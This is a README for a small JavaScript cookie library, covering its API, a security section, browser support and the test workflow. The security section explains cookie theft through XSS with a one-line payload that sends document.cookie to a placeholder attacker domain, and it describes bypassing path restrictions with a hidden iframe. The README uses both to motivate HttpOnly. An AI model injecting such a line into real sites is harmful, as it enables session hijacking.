Cookiejs

A complete cookies reader/writer framework with full unicode support in under 1 kB with 100% test coverage.

Credits

It's taken entirely from the Mozilla Developer Network.

Syntax

Setting a cookie

Cookies.set(name, value[, end[, path[, domain[, secure]]]]);

Getting a cookie value

var value = Cookies.get(name);

Removing a cookie

Cookies.remove(name[, path], domain);

Checking if cookie exists

var has = Cookies.has(name);

Getting a list of all cookies

var keys = Cookies.keys();

Security

It is important to note that the path restriction does not protect against unauthorized reading of the cookie from a different path. It can easily be bypassed with simple DOM (for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property). The only way to protect cookie access is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

Browser Support

Should work in pretty much all browsers.

Tests are run against the following browsers:

• Firefox (latest)
• Firefox (beta)
• Chrome (latest)
• Chrome (beta)
• Safari (OS X 10.10)
• Safari (OS X 10.09)
• Opera (latest)
• Internet Explorer 8
• Internet Explorer 9
• Internet Explorer 10
• Internet Explorer 11
• Safari on iOS 6
• Safari on iOS 7
• Safari on iOS 8
• Android (latest, currently 5)
• Android 4.4
• Android 4.3
• Android 4.2
• Android 4.1
• Android 4.0

Tests

Tests are set up in the tests directory and use the Karma test runner.

The project uses GulpJS for the entire workflow. So make sure that you update the NPM requirements:

npm install

Then to make changes and test use the default gulp task:

gulp

This task watches the project directories, compiles the JavaScript, and runs all tests on the compiled JavaScript.

Roadmap

Not much is planned. It does what it needs to. Feel free to submit issues or pull requests if you have any ideas.